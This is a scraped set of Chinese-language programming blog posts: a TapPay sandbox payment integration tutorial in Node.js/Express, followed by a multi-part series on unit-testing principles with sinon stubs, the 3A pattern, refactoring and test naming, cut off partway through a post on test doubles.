app.post(‘/pay-by-prime’) 裡面這裡有兩個參數要注意兩個都是在 TapPay Portal 上面申請帳號時會獲得的,程式如下 Partner Key (帳號資訊頁面) Merchant ID (商家管理頁面) 另外就是 headers 裡面要特別帶 x-api-key 進去否則會收到 access deny 的 response 可以參考 https://docs.tappaysdk.com/tutorial/zh/back.html#pay-by-prime-api所需要帶的參數和 headers 12345678910111213141516171819202122232425262728293031323334353637383940const post_data = { // prime from front-end \"prime\": req.body.prime, \"partner_key\": \"PARTNER_KEY\", \"merchant_id\": \"MERCHANT_ID\", \"amount\": 1, \"currency\": \"TWD\", \"details\": \"An apple and a pen.\", \"cardholder\": { \"phone_number\": \"+886923456789\", \"name\": \"yujack\", \"email\": \"example@gmail.com\" }, \"instalment\": 0, \"remember\": false}const post_options = { host: 'sandbox.tappaysdk.com', port: 443, path: '/tpc/payment/pay-by-prime', method: 'POST', headers: { 'Content-Type': 'application/json', // 這個參數必須要帶上去,否則不會過 'x-api-key': 'PARTNER_KEY' }}const post_req = https.request(post_options, function(response) { response.setEncoding('utf8'); response.on('data', function (body) { return res.json({ result: JSON.parse(body) }) });});post_req.write(JSON.stringify(post_data));post_req.end(); 實作完成後,開啟 nodejs server然後打上測試卡後就可以完成付款了!打完收工!下班去! 前端補正記得前端要補上把 prime 帶上來的程式123$.post('/pay-by-prime', {prime: prime}, function(data) { alert('付款成功' + JSON.stringify(data))}) 完整程式碼資料夾結構12345||--- app.js||----html| |---index.html 前端1234567891011121314151617181920212223242526272829303132333435363738394041424344454647<!DOCTYPE html><html lang=\"en\"><head> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"> <meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\"> <script text=\"text/javascript\" src=\"https://js.tappaysdk.com/tpdirect/v2_2_1\"></script> <script src=\"https://code.jquery.com/jquery-2.2.4.min.js\"></script> <title>Connect payment with TapPay</title></head><body> <div style=\"width: 480px; margin: 50px auto;\"> <label>CardView</label> <div id=\"cardview-container\"></div> <button id=\"submit-button\" onclick=\"onClick()\">Get Prime</button> <pre id=\"result1\"></pre> <pre id=\"result2\"></pre> </div> <script> TPDirect.setupSDK(APP_ID, 'APP_KEY', 'sandbox') TPDirect.card.setup('#cardview-container') var submitButton = document.querySelector('#submit-button') var cardViewContainer = document.querySelector('#cardview-container') function onClick() { TPDirect.card.getPrime(function (result) { if (result.status !== 0) { console.log('getPrime 錯誤') return } alert('getPrime 成功') var prime = result.card.prime document.querySelector('#result1').innerHTML = JSON.stringify(result, null, 4) $.post('/pay-by-prime', {prime: prime}, function(data) { alert('付款成功') document.querySelector('#result2').innerHTML = JSON.stringify(data, null, 4) }) }) } </script></body></html> 後端記得先執行以下 command1npm install body-parser express 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556const express = require('express')const app = express()const bodyParser = require('body-parser')const https = require('https');const PORT = 8080app.use(bodyParser.json())app.use(bodyParser.urlencoded({ extended: false}))app.use('/', express.static(__dirname + \"/html\")) //serve static contentapp.post('/pay-by-prime', (req, res, next) => { const post_data = { \"prime\": req.body.prime, \"partner_key\": \"PARTNER_KEY\", \"merchant_id\": \"MERCHANT_ID\", \"amount\": 1, \"currency\": \"TWD\", \"details\": \"An apple and a pen.\", \"cardholder\": { \"phone_number\": \"+886923456789\", \"name\": \"jack\", \"email\": \"example@gmail.com\" }, \"remember\": false } const post_options = { host: 'sandbox.tappaysdk.com', port: 443, path: '/tpc/payment/pay-by-prime', method: 'POST', headers: { 'Content-Type': 'application/json', 'x-api-key': 'PARTNER_KEY' } } const post_req = https.request(post_options, function(response) { response.setEncoding('utf8'); response.on('data', function (body) { return res.json({ result: JSON.parse(body) }) }); }); post_req.write(JSON.stringify(post_data)); post_req.end();})app.listen(PORT, () => { console.log('Connet your webiste in the http://localhost:8080/');})","link":"/2017/09/23/tappay-payment/"},{"title":"Unit Test 實踐守則 (一) - Unit Test 定義是什麼, 涵蓋的範圍又是哪些?","text":"前言這篇是看完『Unit Testing Principles, Practices, and Patterns』後所記錄看完這本書對於 Unit Test 的認知有很大的幫助接下來的文章會成以下幾篇大致介紹書中內容 第一篇會討論到 Unit Test 定義是什麼, 涵蓋的範圍又是哪些? 第二篇會討論到 如何從什麼層面去思考一個好的 Unit Test? 第三篇會討論到 為何寫好 Unit Test 前需要先了解重構? 第四篇會討論到 如何寫出一個好的 Unit Test? 第五篇會討論到 如何有效使用 Test Double 這篇會開始談到 Integration Test 定義 文章內有任何問題或是不清楚的, 歡迎一起來討論!不過因為本書內容量實在太多, 沒辦法一一介紹, 所以只介紹筆者覺得很精華的點以後有時間會繼續補完本書介紹的所有內容 XD 書中範例程式皆是用 C# 寫的, 不過這邊範例是我用 Node.js 加上新的範例寫出來的範例我也換成比較簡單的去解釋,概念都是相同的不必太過擔心語言不同問題不過若是範例不是很精準,可以在留言建議我唷!! 介紹書中針對 Unit Test 的認知是『The goal is to enable sustainable growth of the software project.』並不太像筆者的認知, 認為 Unit Test 是為了拿來防止 Bug 出現 書中此認知的原因是程式很快就從 draft 變成小中型專案, 但要如何讓專案變成可持續成長是難事寫 Unit Test 就可以讓專案變成可持續成長的一個關鍵 而何謂可持續成長?當專案越來越大的時候, 相對應的維護成本也越來越高當重構一個功能的時候可能會不小心改動其他功能, 而導致問題出現當新增一個功能的時候可能會因為舊有架構導致新功能難以實作, 增加測試難度以及開發時間其實這些可以透過測試去把專案維持著品質而常用的測試包含 Unit Test, Integration Test 以及 E2E Test但這邊就專注在 Unit Test 去討論吧!後面有文章談到 Integration Test 什麼是 Unit Test?書中給了以下三個答案 驗證一小段的程式碼, 並以驗證單一行為為主, 就是 unit of behavior 執行快速 獨立性 (isolated) 不受其他 unit test 影響 針對 2, 3 點, 大部分的資料是比較沒有爭議的像是比較有名的 F.I.R.S.T. 也有提到這幾點但較有爭議的是第 1 點, 也就是 unit 的定義 書中有提到兩種不同定義一個是 unit of code一個是 unit of behavior不同的定義涵蓋的測試範圍也不太一樣 書中定義上, 會使用以下兩個 School 去介紹London School = unit of codeClassical School = unit of behavior但為了文章好記, 這邊我就以後者的寫法去介紹 Unit of code v.s Unit of behavior先來說說什麼是 unit of code, 什麼是 unit of behavior『輸入正確帳號密碼,登入成功』此情境說明的就是一個 behavior 造成的結果但要怎麼組成 behavior ? 是透過很多 unit of code 組合而成的 以此情境來說把『輸入正確帳號密碼,登入成功』拆成程式碼去解讀會有以下程式碼的部分, 假設每一個部分都有相對應得程式碼 撈取資料庫資料 hash 使用者密碼 比對 hash 過後的使用者密碼和資料庫的密碼是否一致 如果測試的粒度是測試『hash 使用者密碼』, 那就是 unit of code因為測試的東西, 並不是使用者會專注的結果, 而是開發者會專注的結果使用者只關注輸入帳號密碼能不能成功, 可能也不管你是不是用 hash, 這就是不同面向的差異而除了測試的粒度不同之外unit of code 和 unit of behavior 所定義的獨立性也有所不同 先以一個 Node.js module 來說好了, 這個 A module 用到 B module 和資料庫這兩個相依性在 unit of code 之中, 是會使用 Test Double 在 B module 和資料庫上並進行測試在 unit of behavior 之中, 只會在資料庫使用 Test Double, 但會保留對 B module 的相依性, 並進行測試 這裡快速介紹一下使用 Test Double 是怎麼回事Test Dobule 簡單來說可以去更改或是紀錄原始碼的行為以及驗證的一種方法下面範例是用 sinon 的 stub 去示範 (stub 是屬於 Test Double 的一種)在更詳細的介紹可以參考之前我寫的Test Double - 測試替身 123456789101112// 下面是一個 function, 帶入什麼就會回傳什麼const a = { test: (param) => {return param}}a.test(10) // return 10a.test(15) // return 15// 但透過 stub, 可以做到更改的回傳值, 也就是更改程式邏輯const sinon = require(\"sinon\")sinon.stub(a, \"test\").returns(\"hihihi\")a.test(10) // hihihia.test(15) // hihihi 下圖表示的方式就是 unit of code每一個 production code 的 class/module 就會對應到一個 unit test這裡關注的點就會是所謂實作邏輯, 也就是上面提到類似 hash 的底層實作邏輯 而在 unit of code 中如果 module/class 之間有相依性的話, 會透過 Test Double 把相依性改取代掉 而在 unit of behavior 中如果 module/class 之間有相依性的話, 則是會使用原本邏輯, 不去使用 Test Double 但如果以 behavior 為基準, 有人會認為這樣就是 Integration Test 了, 而不是 Unit Test其實兩者差異差書中有說到其中有一個特徵是有沒有實際對外部資源進行存取, 也就是有沒有使用資料庫或呼叫第三方資源是關鍵如果沒有, 那就是 Unit Test如果有, 那就是 Integration Test 但有文章指出這種 behavior 測試的方式, 其實是社交型 Unit Test可以參考探討單元測試和整合測試的涵蓋範圍 其實 unit of code 和 unit of behavior 各有好壞並不是說哪個好, 就一定要用哪個, 來看看各個優缺點是什麼 以下說的 mock 是 Test Double 的一種 Unit of code 優劣點 優點 當測試失敗時, 你會很清楚就是你測試的程式邏輯出了問題 因為你都把其他內部 dependency 都 mock 掉 所以會知道就是測試的程式有問題 撰寫測試時, 只需要根據 Code Base 去寫相對應的 Unit Test 例如說 A Class 用到 B Class 和 C Class 這兩個內部 dependency Unit Test 就是寫出 A Test, B Test, C Test 這三個相對應得測試程式 缺點 會過度使用 mock 機制, mock 大量內部 dependency 的程式 可能會導致最終程式跑 Integration Test 時直接炸裂 每個 Unit Test 跟 Code Base 基本上是 1:1, 這會導致重構時大部分的 Unit Test 也需要被翻新 測試時可能會跟文件定義的測試案例過度不符合 因為專注在 unit of code, 所以程式中會大量測試使用者不在意的測試結果 這會導致過度去測試實作邏輯 Unit of behavior 優劣點 優點 從使用的人角度去注重程式產生的行爲, 能夠有效驗證結果 加上因為不會 mock 內部 dependency 的程式, 只會 mock 外部 dependency 內部程式的 Business Logic 可以較完整被執行 寫 Unit Test 時不需關注其他內部 dependency 程式的實作邏輯 就像上面提到的 hash function, 寫 unit test 時不需針對 hash function 去撰寫 就可以避免重構 hash function 時導致 unit test 也要跟著重寫 缺點 因為不會 mock 內部 denpendency, 所以執行 Unit Test 錯誤時 可能會較難判別錯誤是出現在哪裡 但如果是所有測試案例都失敗的話, 很有可能就是共用的內部 dependency 出錯 這樣反而是優點, 因為就代表此 dependency 影響範圍是全體程式碼 後記當然這不是誰優點多就選誰這兩個也只是一個名字去代表不同 Unit Test Style當你今天寫了一個 SDK 裡面有一個 add(a,b)function 給別人使用試問, 你測試這個 add function 是 unit of code 還是 unit of behavior ? 不過依照本書的立場, 大多數的專案是建議走 unit of behavior 的方式進行 從這篇知道了 Unit Test 是什麼以及測試的範圍但要怎麼知道『一個好的 Unit Test』是什麼樣子?來看看下一篇什麼樣是一個好的 Unit Test? 該從怎麼層面思考?","link":"/2020/09/14/unit-test-best-practice-part-1/"},{"title":"Unit Test 實踐守則 (二) - 如何從什麼層面去思考一個好的 Unit Test?","text":"前言上一篇我們會討論到什麼 Unit Test 定義是什麼, 涵蓋的範圍又是哪些?接著我們會討論到 如何從什麼層面去思考一個好的 Unit Test? 這篇著重於在心法, 也就是先思考我們要的 Unit Test 要有什麼樣的效果透過瞭解這些效果之後, 再來制定想要的組合每個人認為好的 Unit Test 可能都不一樣但這邊就以書中內容去介紹什麼是一個好的 Unit Test 什麼是一個好的 Unit Test?書中對好的 Unit Test 目標定義有三個 可以被整合在開發流程中 專注在最重要的程式 用最小維護成本提供出最大的價值 基於第三點的目標, 可以看出書中其實不推薦開發者為所有程式碼都加上 Unit Test雖然帶來的效益可能不錯, 但取而代之的是維護成本極高 可以試想, 當你為所有程式都寫上 Unit Test 之後當你要開始重構或是因為新功能開始把其他程式進行合併原本寫的 Unit Test 基本上會變得毫無作用甚至因為寫了太多 Unit Test 導致執行測試時間過長 當然這並不是說為所有程式寫上 Unit Test 不好但我們要思考的是會有一些隱藏成本存在的 竟然目標已經有了, 接著就是要透過什麼方式達到書中提供以下四個面向, 以分析的角度去決定以及如何取捨去達到目標 Unit Test 的四個面向以下是書中提供的四個面向去思考, 看完之後我們再回頭看看剛剛舉例的 behavior Protection against regression: 保護程式不出現 Bug Resistance to refactoring: 不因重構導致影響撰寫 Unit Test Fast feedback: 能不能快速給予結果, 而不會等待很久 Maintainability: 能不能輕易理解/執行 unit test 的內容 關於第四點是一定必做的, 如果連第四點都做不到, 那就不會有人寫 Unit Test 了除了第四點是必做之外, 其他三點之間會有一些互斥行為存在 舉例來說, 要把 Protection against regression 做到極致的話就會需要寫很多 Unit Test, 但這會導致 Resistance to refactoring 指標往下降 上面這段話很饒口對吧, 用白話來說的話就是 『要把 Bug 降到最低的話, 就把所有程式都加上 Unit Test 就好 (unit of code)但當把所有程式加上 Unit Test, 哪天要重構功能時, 大部分的 Unit Test 都不能跑了』 這裡定義一下重構為『在不改變程式外在行為的前提之下,改變程式內部結構以提升設計品質』可以看看在 Teddy 的投影片裡提到的重構的定義 假設 Unit Test 測試的粒度, 以上篇提到的 unit of code 中的例子, 測試『hash 使用者密碼』原本程式碼如下123// hash.jsconst crypto = require(\"crypto\")module.exports = (password) => crypto.createHash(\"sha256\").update(password).digest(\"hex\") 測試程式碼如下1234567891011const hash = require(\"hash.js\")it(\"when give the string to hash 256, should return sha256 string\", () => { // arrange const exceptedResult = \"a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3\" // act const actualResult = hash(\"123\") // assert expect.equal(actualResult, exceptedResult)}) 未來因為部分的程式需要用到 sha512所以需要加上其他的 hash 方式, 想要調整此程式碼變成如下123456// hash.jsconst crypto = require(\"crypto\")module.exports = { sha256: (password) => crypto.createHash(\"sha256\").update(password).digest(\"hex\"), sha512: (password) => crypto.createHash(\"sha512\").update(password).digest(\"hex\")} 測試程式碼就需要進行調整1234567891011const hash = require(\"hash.js\")it(\"when give the string to hash 256 should return sha256 string\", () => { // arrange const exceptedResult = \"a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3\" // act const actualResult = hash.sha256(\"password\") // assert expect.equal(actualResult, exceptedResult)})以 unit of code 概念來說, 這樣重構時, 就會需要連 Unit Test 一起重構 但如果以 unit of behavior 來說, 舉例如下12345678910111213const userService = require(\"./userService.js\")it(\"when user type correct password, user should login successfully\", () => { // arrange const exceptedResult = true const hashPassword = \"a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3\" // act const actualResult = userService.isPasswordMatch(\"123\", hashPassword) // assert expect.equal(actualResult, exceptedResult)}) 眼尖的讀者應該有發現到筆者在 Unit Test 裡面有寫註解關於 arrange, act, assert這其實是很著名的 3A Pattern 寫法後面在提到如何寫好的 Unit Test 時會講到 因為 unit of behavior 關注的點是輸入密碼這個行為造成的結果, 並不用關注裡面怎麼去實作 hash 這件事情所以在重構 hash function 的時候, 就不會需要重新調整 unit test 了而且重構 hash function 之後, 跑完 unit test 如果是通過也就代表結果正確 另外上述這種測試方式, 是針對『實作細節』去進行的而『實作細節』是有可能跟著重構變更, 但程式的最終結果除非需求改變否則不會變更如下圖所示, 書中是不推崇過度測試『實作細節』 過度使用 unit of code 的方式除了會降低 Resistance to refactoring 這個指標外也會降低 Fast Feedback 這個指標因為過多的 Unit Test 會讓整體跑 Unit Test 拉得過長 以這三個指標來說, 會出現以下這張結果 這張圖是以 Resistance to refactoring 為主軸去調整以 Resistance to refactoring 為主, 也就是書中的核心思想『The goal is to enable sustainable growth of the software project.』 書中也提到這個三角形是可變動的如果希望系統很少 Bug, 那麼相對應 Test Case 就會寫得非常多去驗證所以主軸可能就會以 Protection against regression 為主也就是以剛剛的測試『hash 使用者密碼』來說這個 Test Case 就需要測試 那剩下就是 Resistance to refactoring 和 Fast feedback 去選擇這很難拿到三項都是完美的一百分,所以會有一個折衷點存在 題外話: 這也很類似分散式系統裡面的 CAP 理論 後記筆者認為根據不同情境會組出不同樣的組合舉極端的例子, 如果只是很初期 MVP 用的專案的話, 甚至連 Unit Test 都不需要因為產品沒辦法趕快生出來的話, 可能就被別家搶走生意了好不好維護這是以後等生意做成再來考慮的事情不然沒生意的話, 這個專案可能就直接進垃圾桶了 QQ 那麼如果要寫好一個 unit test 該怎麼寫呢?.............我們得先來看看重構!來看看下一篇為何寫好 Unit Test 前需要先了解重構?","link":"/2020/09/21/unit-test-best-practice-part-2/"},{"title":"Unit Test 實踐守則 (三) - 為何寫好 Unit Test 前需要先了解重構?","text":"前言上一篇我們會討論了 如何從什麼層面去思考一個好的 Unit Test?接著我們討論到寫好 Unit Test 前需要先看看重構 書中提到 Unit Test 和 Code Base 是彼此非常糾纏的原文是這樣寫道 Unit tests and the underlying code are highly intertwined,and it’s impossible to create valuable tests without putting effort into the code base they cover. 所以在寫好一個 Unit Test 之前, 是需要先把程式碼進行重構這樣才有辦法寫出一個好的 Unit Test 但有趣的就來了, 如果先進行重構才去寫 Unit Test 又要怎麼確認重構後的邏輯是正確的?在 91 大的 2012 年這篇文章最後面的補充也提到了這蛇咬尾巴的矛盾點 所以比較好的方式, 是額外先寫更高層一點的測試, 先確保邏輯上是沒有問題再來進行重構而這個更高層一點的測試, 是有可能只用一次用完就丟, 這很正常因為當程式碼開始進行重構的時候, 原本這個更高層的測試可能 mock 一堆內部方法但隨著內部方法被重構之後, 呼叫的進入點可能改變, 這個測試就無用了但帶來的效益, 卻是程式碼更乾淨也更好維護, 而且更好寫測試 筆者經驗談:除非, 你能保證 100% 掌握住這段你想重構的『邏輯運作流程』那也許你就可以先不用寫更高層級的測試了, 就可以直接重構了 (若你真的有信心的話)不過有的時候, 是把部分程式碼變成 function 拉出來的這種重構就相對單純但就算簡單, 依舊很難確保拉出來就沒有問題 雖然我真的幹過直接重構然後才寫 Unit Test, 還好結果是沒問題的 (擦汗但這前提真的是很清楚邏輯且邏輯簡單才敢這樣做當系統中遺留舊有程式的邏輯太過複雜, 我還是會先建立一個到多個測試確保等等不會改壞 在這裡會簡單介紹書中提到的一些重構的方式和架構 重構書中提供兩種維度, 把我們的 Code Base 分成了四個種類 縱向的是邏輯和 domain knowhow 的重要性橫向的是與其他程式碼之間有沒有很大的關聯度 以上圖中例子來說在 MVC 架構中, Controller 往往代表控制流程的角色business logic 並不存在於 Controller 之中所以 business logic 相關的基本上會在左上的位置 根據這兩種維度, 可以分辨出哪一段程式碼是最重要的就可以針對這部份進行 Unit Test 或是重構像下圖中左下角沒有太大作用會影響 Business Logic 的話, 可以不用在測試的優先序前面幾位譬如說是 getter 或是 setter 的程式 而右上是過度複雜的部分當一段程式碼把流程和商業邏輯全部砸在一塊的時候想必非常難懂, 所以要往兩邊的維度去拆分, 如下圖 除了程式碼的拆分之外, 每個模組之間的相依性也很重要書中也建議用 hexagonal architecture 的方式去連接每一個模組, 示意圖如下 舉例來說明一下 hexagonal architecture 是什麼概念以上面『使用者輸入正確帳號密碼, 登入成功』的例子來說我們再多加一小段行為變成『使用者輸入正確帳號密碼, 登入成功, 並寄信給使用者通知登入成功』我們把流程拆成如下 撈取資料庫資料 hash 使用者密碼 比對 hash 過後的使用者密碼和資料庫的密碼是否一致 一致的時候, 使用 SMTP service 寄信給使用者 12345678910Database --- Login service ---- SMTPLogin service 包含項目如下 (六角形白色區塊)1. Read user data2. Trigger business logic3. Send emailLogin service 裡的 business logic 包含項目如下 (灰色圈圈)1. hash input password2. compare user password and input password 我們再把上面描述的用較平面化來的表示可以看到操作 database 相關的, 絕對不會是 business logic 那部份的程式去存取一定是交由從的 application service 去存取 我們來舉上面的情境換做成程式來看一下範例假設真的有一段程式是都塞在同一隻程式裡面大概會長這樣(以下程式為示意, 並不能正確執行)1234567891011121314// loginController.jsfunction login(request) { const {account, password} = request const user = userDb.find(account) const hashPassword = require(\"crypto\").createHash(\"sha256\").update(password).digest(\"hex\") if (user.password !== hashPassword) { throw new Error(\"Mismatch\") } const axios = require(\"axios\") axios.post(mailServiceUrl, { mail: user.email, title: \"You have logined successfully\" }))}這個要做 unit test 是非常難做到的, 因為太過混雜而且也嚴重打破 hexagonal architecture 的結構 如果真的要在重構前先寫一個測試確保等等不會改壞的話, 大致上會寫成以下這樣 123456789101112131415161718192021const loginController = require(\"./loginController.js\")const axios = require(\"axios\")const userDb = require(\"userDb.js\")describe(\"when user type correct password, user should be allow to login\", () => { // arrange const request = {account: \"account\", password: \"123\"} sinon.stub(userDb, \"find\").withArgs(request.account).return({ password: \"a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3\", email: \"123@gmail.com\" }) const mock = sinon.mock(axios) mock.expects(\"post\").once() // act // 如果沒有成功呼叫, 就會噴出 Error loginController.login(request) // assert // 驗證是否有呼叫寄信程式 mock.verify()}) 那因為這個只是示意一下在這種情況下該如何寫測試所以實際上跑 express 並不會這樣測試但這樣測試的話, 其實某方面來說就會變成 Integration test 了詳細的 Integration test 部分下一篇會介紹到 那麼 …… 如果我們要寫好一個 unit test, 那我們就勢必得先重構上面的程式碼這邊先以簡單拆法為主, 所以可能不是非常完美, 但用例子解釋就足夠了透過這樣拆成模組化, 到時候再使用類似 sinon 的 mock 工具時會更輕易能夠做 mock 如果邏輯比這個更複雜的情況下還是建議先向上面一樣, 先寫一個更高級別的 Test 去確保但這邊邏輯很單純, 於是我就直接進行重構了 123456789101112131415161718192021222324252627282930313233// loginController.jsfunction login() { const user = userDb.find(\"account\") if (userService.isPasswordMatch(user.password, inputPassword) === false) { return new Error(\"Mismatch\") } mail.send(user.email);}// hash.jsconst crypto = require(\"crypto\")module.exports = { sha256: (password) => crypto.createHash(\"sha256\").update(password).digest(\"hex\") }// userService.jsconst hash = require(\"hash.js\")module.exports = { isPasswordMatch: (userPassword, inputPassword) => { return userPassword === hash.sha256(inputPassword) }}// mail.jsconst axios = require(\"axios\")module.exports = { send: (email) => { axios.post(mailServiceUrl, { mail: user.email, title: \"You have logined successfully\" })) }} 從上面例子可以看到 hash 已經不會出現在 loginController 的流程控制中了而是會出現在管控 business logic 的程式碼裡面這樣也看得出來我們最重要的 business logic 是位在 userService 裡面了用六角形圖來看會變這樣 接著根據上一篇, 好的 Unit test 要『專注在最重要的程式』我們應該要測試的地方就是在這塊 business logic這樣拆分就有達到上圖四的切割了 所以在進行 unit test 的時候會如下這時候可以看到我們根本不需要去使用 Test Double 就可以完成對 business logic 的測試了 12345678910111213describe(\"when user type correct password, user should be allow to login\", () => { // arrange const exceptedResult = true const userInputPassword = \"123\" const hashPassword = \"a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3\" const userService = require(\"./userService.js\") // act const actualResult = userService.isPasswordMatch(userInputPassword, hashPassword) // assert expect.equal(actualResult, exceptedResult)}) 後記以上就是重構的一些方法簡單介紹完重構之後, 那我們就根據此篇最後的 unit test 去看看如何寫出一個好的 Unit Test?","link":"/2020/09/28/unit-test-best-practice-part-3/"},{"title":"Unit Test 實踐守則 (四) - 如何寫出一個好的 Unit Test?","text":"前言上一篇我們會討論了 為何寫好 Unit Test 前需要先了解重構?接著我們就要進入正題了 如何寫出一個好的 Unit Test我們拿上一篇重構完成之後的程式碼來看看 Unit Test 的結構 12345678910111213describe(\"when user type correct password, user should be allow to login\", () => { // arrange const exceptedResult = true const userInputPassword = \"123\" const hashPassword = \"a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3\" const userService = require(\"./userService.js\") // act const actualResult = userService.isPasswordMatch(userInputPassword, hashPassword) // assert expect.equal(actualResult, exceptedResult)}) 在此範例中看到了 arrange, act 以及 assert, 這是著名的 3A pattern下面來解釋各個步驟代表什麼意思 Arrange這是準備階段, 準備一些關於待測程式的資料以及結果通常這個階段會有很大量的程式碼存在包含設置 Test Double 在資料庫或第三方 API 之類詳細 Test Double 用途可以參考之前寫過一篇有介紹 Test Double 而這階段要注意的是不能暴露程式的實作邏輯在這裡這些實作邏輯應該是要包在 Code Base 裡面的才對 以下面程式為例子, exceptedResult 不應該用 1+1 的邏輯去賦予, 而是應該直接給予 2類似這種算是實作邏輯, 是不建議這種邏輯出現在 Unit Test 中像是遇到重構的時候, 就連同 Unit Test 邏輯都要調整 1234567891011// 不適合的做法, 因為暴露出實作邏輯describe(\"when 1+1, result should return 2\", () => { // arrange const exceptedResult = 1 + 1 // act const actualResult = add(1, 1) // assert expect.equal(actualResult, exceptedResult)}) 還有一種實作邏輯要避免那就是 if-else 不該出現在 Unit Test 之間出現 if-else 就代表了, 把實作邏輯帶來到 Unit Test 這也會帶來相對應的缺點變成一次維護兩套邏輯, 分別在 Test Code 和 Production Code 上面 這樣不管是新加功能或是重構, 都是有可能更改到 Unit Test而更危險的是 …… 如果因為每次更改功能導致要修改大量 Unit Test, 那麼 Unit Test 很容易就走不下去了 Act在這個階段, 通常只會有一行程式碼這階段出現多行程式是不建議的做法, 會帶來以下幾項缺點 當 Unit Test 失敗, 很難分辨到底是呼叫哪一個行為導致失敗 Code Base 可能設計不夠良好, 沒有足夠的封裝 Assert在 Unit of Code 的結果中, 通常只會有一個單一結果要驗證但在 Unit of Behavior 的結果中, 是會有多種結果需要驗證所以在這個階段, 程式碼不一定只會有一行, 是會有多行的可能性取決於你怎麼定義你的 Unit Test 的結果 而這個階段也不該去驗證程式的實作邏輯的結果就上前幾篇提到的 hash function以使用者角度可能覺得我密碼打對就讓我登入成功就好我也不管你是用 hash crypto 什麼方式去處理所以要驗證的是密碼是否比對成功這個結果, 而不是用 hash 這個細節 可以參考測試該驗證結果還是該驗證細節裡面其實也提到跟書中一樣的概念 除了以上 3A Pattern 之外, 其實還有最重要的部分也就是 unit test 的名字內容寫法 因為這個結果是給人在看的, 萬一寫的不清不楚接手的人也不知道這個 unit test 到底在測試什麼東西就會間接導致, 接手的人不知道這個 unit test 測試什麼, 於是寫了一個新的 unit test結果這兩個 unit tes 在測試一模一樣的東西, 這就有點尷尬了那我們來說說怎麼寫比較適合 Unit Test 的名字內容寫法這邊特別申明一下因為書中是使用 C#, 所以 unit test 名稱就是 function 名稱, 這跟 java 也很相似這邊會以書中的範例為主, 至於 js 的會在最後面用另一篇個觀點來描述所以我們先看看書中 C# 的寫法吧! 書中針對 unit test 名字有以下三個 guidelines 不要遵守死板的命名規則 在命名測試的時候, 當成要描述一個情境給一個不懂程式, 但卻懂這個 domain knowhow 的人聽 把每一個文字用下底線(_)去區分開來 讓我們先看看第一個 unit test 的名字這個範例是名稱是 IsDeliveryValid_InvalidDate_ReturnsFalse這個代表是說, 當帶入了一不合法的日期時, 這個驗證日期要回傳 false12345678910public void IsDeliveryValid_InvalidDate_ReturnsFalse(){ DeliveryService sut = new DeliveryService(); DateTime pastDate = DateTime.Now.AddDays(-1); Delivery delivery = new Delivery(pastDate); bool isValid = sut.IsDeliveryValid(delivery); Assert.False(isValid); } 我們試著以上述第二點重新去轉換變成如下Delivery_with_invalid_date_should_be_considered_invalid 看起來好多了, 對吧?不過 … 什麼是 invalid date?所以在近一步更新這個 unit test 名字變成如下Delivery_with_past_date_should_be_considered_invalid 不過還有一些贅字要調整像在不合法就直接說不合法就好, 不用強調 be considered invalid所以會變成如下Delivery_with_past_date_should_be_invalid 這樣看起來就完美多了不過最後在書中, 有提到因爲測試是「敘述一件事實』所以不應該有 should 存在, 最後會變成如下Delivery_with_a_past_date_is_invalid 最後這段就見仁見智了個人覺得可以不必遵守到最後一段就像上面第一點 guidelines 提到的, 不要遵守死板的命名規則因為有時特意遵守死板規則, 可能會導致別人看不懂 但其實在修改敘述過程中, 就很像在校稿一樣你要把內容調整成有明確意思, 且容易讓別人看懂的方式 寫 js 的人看到這邊一定很問號, 那 describe-it 的話要怎麼寫!?其實別慌張, 做法其實跟他的 guidelines 一樣試著在寫 describe-it 的內容時, 當成是在跟不懂程式, 但懂 domain knowhow 的人說明情況以上面例子就會變成descrit("When delivery is given a past date, it should be invalid") 那因為 describe-it 可以進行分層, 所以分層可以根據 javascript-testing-best-practices這種概念來進行分層, 執行下來會有以下兩張圖的差距是不是右邊讀起來比較易讀? 但要注意的是, 分層的名字記得也要分得有意義 後記看到這邊可能會產生兩個疑惑 那除了 business logic 以外都不用寫 unit test 嗎? 如果測試切入點從 controller 開始, 然後對 mock/stub 資料庫去做 unit test 不也是可以? 文章中有提到 Test Double, 但好像沒有說用在哪或是怎麼使用比較好? 以上這兩點會在下一篇如何有效使用 Test Double 解答","link":"/2020/10/05/unit-test-best-practice-part-4/"},{"title":"unit test 該怎麼用? 又該如何在 express 開發上實作 unit test?","text":"前言[2020-10-13 Update] Unit Test 定義可以參考筆者新寫的一篇Unit Test 實踐守則 (一) - Unit Test 定義是什麼, 涵蓋的範圍又是哪些?以下文章內容提到的 unit test 在上述文章的定義上比較偏向於 Integration Test [2019-12-22 Update]在 express unit test 一些技巧教學以及困難點裡面有針對一些技巧做說明以及增加測試涵蓋率的使用方式 在很久很久之前有提到過 unit test但那時候只有針對簡單到不能在簡單的 function 進行 unit test想必大家一定也不太了解 unit test 究竟要怎麼用在真正開發上面 在真正開發上面要用到 unit test一定會牽扯到讀取資料庫、讀取檔案、呼叫 API 等等複雜邏輯難道在做測試的時候,我還要確保我的 API 可以呼叫資料庫可以進行連線等等後,我才能確認我的程式是否正確嗎?在這種情況下要做 unit test 真的是一件不簡單的事情更別說 test cases 跑到一半有人把你測試環境的 database 亂改動,或是 API Server 的分支改掉這種鳥事了… 這樣的話,究竟要透過什麼樣的方式可以去做到 unit test 呢?其實可以透過 mock 的機制,讓呼叫 API 回傳值回傳一個固定值,而並不需要去真正呼叫 API 這裡所說的 mock 只是 unit test 使用到的一種方式其他還包含 spy 、stub、fake 等等我們通常稱這些為 test double (測試替身)以下會先介紹剛剛提到的 test double 題外話,一開始看到這名詞讓我一直想到 JOJO .. Test Double - 測試替身根據搞笑談軟功裡面其實有提到五種,但我這邊會介紹個人常見和常用到的四種 stub當程式是使用到 HTTP 相關操作的,為了測試相依性降到最低可以透過 stub 去變更發出 HTTP 程式的行為,變成不真的發出 HTTP,且可以自定義回傳的結果還有包含讀檔的行為也是如此,利用 stub 